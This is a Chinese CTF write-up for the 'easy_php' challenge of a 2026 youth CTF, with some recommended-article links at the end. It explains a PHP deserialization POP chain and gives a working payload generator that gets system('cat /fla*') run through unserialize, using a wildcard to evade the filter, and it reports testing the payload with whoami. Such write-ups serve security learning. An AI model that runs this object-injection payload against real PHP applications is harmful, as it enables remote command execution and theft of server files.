【青少年CTF S1·2026 公益赛】easy_php

php 复制代码
<?php
// 屏蔽报错,增加一点黑盒难度
error_reporting(0);
// TIPS: FLAG在根目录下

class Monitor {
    private $status;
    private $reporter;

    public function __construct() {
        $this->status = "normal";
        $this->reporter = new Logger();
    }

    public function __destruct() {
        // 当对象销毁时,如果状态是 danger,则触发报警
        if ($this->status === "danger") {
            $this->reporter->alert();
        }
    }
}

class Logger {
    public function alert() {
        echo "System normal. No alert needed.\n";
    }
}

class Screen {
    public $content;
    public $format;

    public function alert() {
        // 这里的调用看起来像是一个格式化输出
        $func = $this->format;
        return $func($this->content);
    }
}

// 入口点
if (isset($_GET['code'])) {
    $input = $_GET['code'];

    // 简单的过滤,不允许直接输入 flag 关键字,但这不影响反序列化过程
    if (preg_match('/flag/i', $input)) {
        die("No flag here!");
    }

    unserialize($input);
} else {
    highlight_file(__FILE__);
}
?>

PHP 反序列化 (POP 链构造)题目

php 复制代码
入口点:unserialize($_GET['code']),存在反序列化漏洞。
过滤:preg_match('/flag/i', $input) 禁止输入中出现 flag 字符串。

那么我们先寻找利用点,下面这段代码想办法把func变成system,然后this->content变成cat /flag

php 复制代码
public function alert() {
        // 这里的调用看起来像是一个格式化输出
        $func = $this->format;
        return $func($this->content);
    }

那么我们如何调用Screen类下的alert()函数呢?

可以看到在Monitor中会调用alert()函数

php 复制代码
public function __destruct() {
        // 当对象销毁时,如果状态是 danger,则触发报警
        if ($this->status === "danger") {
            $this->reporter->alert();
        }
    }

但是这里有一个问题,在Monitor的构造函数中,发现$this->reporter = new Logger(),reporter会new Logger()

但是这个Logger不是我们想要的

php 复制代码
public function __construct() {
        $this->status = "normal";
        $this->reporter = new Logger();
    }

因此我们要想办法将Logger替换为Screen

最后Monitor销毁的时候会自动调用__destruct()实现攻击

思路整理如下:

php 复制代码
我们需要做的事情:
1、在Screen类中
将$format = 'system'
将$content = 'cat /flag'

2、在Monitor类中
将$status = 'danger'
将$reporter = new Screen()

我的payload如下

php 复制代码
<?php

class Monitor {
    private $status;
    private $reporter;

    public function __construct() {
        $this->status = "danger";
        $this->reporter = new Screen(); # new 一个对象的话必须要使用__construct,不能直接赋值给静态变量
    }

}


class Screen {
    public $content = "cat /fla*";  # 通过通配符绕过flag过滤
    public $format = "system";  # 静态变量可以直接这样赋值


}

$exp = new Monitor();
echo(urlencode(serialize($exp)));

?>

下面是原作者的图

这里我直接本机演示下我的payload是否可行,尝试执行whoami命令,是正常可用的

相关推荐
网络安全零基础教程3 分钟前
零基础转行网安,前两个月具体该学什么工具
网络·学习·安全·web安全·网络安全
全云在线allcloudonline16 小时前
等保服务公司能提供什么?广东创云科技一站式等保流程解析
网络安全·等保·企业服务
SmileAndFun17 小时前
护网演练中安全检测与监测的常见失效点及闭环方案
网络安全·等保
Chengbei111 天前
云安全漏洞挖掘SKILL、一站式云漏洞挖掘工具,支持S3爆破、IMDS探测、K8s检测与AK/SK权限利用
前端·人工智能·网络安全·云原生·容器·kubernetes·系统安全
白猫不黑1 天前
Web 应用中“敏感信息泄露“的常见位置?
前端·网络·web安全·网络安全·信息安全·渗透测试
国际云,接待2 天前
Azure Front Door WAF实战:托管规则、限速与日志查询
microsoft·网络安全·云计算·azure·front door
云栖梦泽在2 天前
稳如狗网络工具箱:IP、DNS、WebRTC、测速、连通性和全球延迟检测工具简明介绍
网络·网络协议·tcp/ip·网络安全·性能优化·webrtc
倚栏听雨_ylty2 天前
H3C交换机关闭Telnet和HTTP服务实例
运维·网络·tcp/ip·网络安全
白猫不黑2 天前
SQL注入实战:手工注入全流程详解
网络·数据库·sql·web安全·网络安全·信息安全
是三一seven3 天前
Sql注入基础
数据库·安全·网络安全